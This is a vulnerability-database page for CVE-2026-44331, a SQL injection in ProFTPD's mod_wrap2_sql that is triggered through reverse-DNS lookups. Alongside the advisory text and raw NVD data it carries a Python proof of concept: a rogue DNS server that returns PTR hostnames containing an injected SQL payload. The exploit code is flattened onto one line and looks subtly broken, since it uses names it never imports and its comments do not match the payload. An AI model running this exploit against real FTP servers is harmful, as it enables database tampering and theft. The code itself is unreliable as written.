Security Vulnerability Report
中文
CVE-2026-44331 CVSS 8.1 HIGH

CVE-2026-44331

Published: 2026-05-05 20:16:40
Last Modified: 2026-05-07 15:53:50

Description

In ProFTPD through 1.3.9a before 7666224, a SQL injection vulnerability in sqltab_fetch_clients_cb() in contrib/mod_wrap2_sql.c allows a remote attacker to inject arbitrary SQL commands via a crafted domain name that is accessed in a reverse DNS lookup. When "UseReverseDNS on" is enabled, the attacker-supplied hostname is passed unescaped into SQL queries. The character restrictions of DNS names may affect exploitability.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ProFTPD <= 1.3.9a (commit < 7666224)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct from dnslib import DNSRecord, DNSHeader, DNSQuestion, RR, A class MaliciousDNSServer: def __init__(self, ip, domain, payload): self.ip = ip self.domain = domain self.payload = payload def start(self): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind(('0.0.0.0', 53)) print(f"[*] Listening on 53 UDP, serving malicious PTR for {self.ip}") while True: data, addr = sock.recvfrom(1024) try: request = DNSRecord.parse(data) response = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q) # Check if it's a PTR request (Reverse DNS) if request.q.qtype == 12: # Inject SQL payload into the hostname malicious_hostname = f"'{self.payload}'" print(f"[+] Sending malicious PTR: {malicious_hostname} to {addr}") # Construct PTR response response.add_answer(RR(request.q.qname, getattr(QTYPE, 'PTR'), rdata=PTR(malicious_hostname))) sock.sendto(response.pack(), addr) except Exception as e: print(e) if __name__ == "__main__": # Example usage: inject a simple sleep-based blind SQL payload # Note: Real payload depends on the backend SQL structure of mod_wrap2_sql PAYLOAD = " OR 1=1--" server = MaliciousDNSServer("1.2.3.4", "example.com", PAYLOAD) server.start()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44331", "sourceIdentifier": "[email protected]", "published": "2026-05-05T20:16:39.680", "lastModified": "2026-05-07T15:53:49.717", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "In ProFTPD through 1.3.9a before 7666224, a SQL injection vulnerability in sqltab_fetch_clients_cb() in contrib/mod_wrap2_sql.c allows a remote attacker to inject arbitrary SQL commands via a crafted domain name that is accessed in a reverse DNS lookup. When \"UseReverseDNS on\" is enabled, the attacker-supplied hostname is passed unescaped into SQL queries. The character restrictions of DNS names may affect exploitability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/proftpd/proftpd/commit/766622456440fbca33abd7927c523673a11d1ed1", "source": "[email protected]"}, {"url": "https://github.com/proftpd/proftpd/issues/2057", "source": "[email protected]"}]}}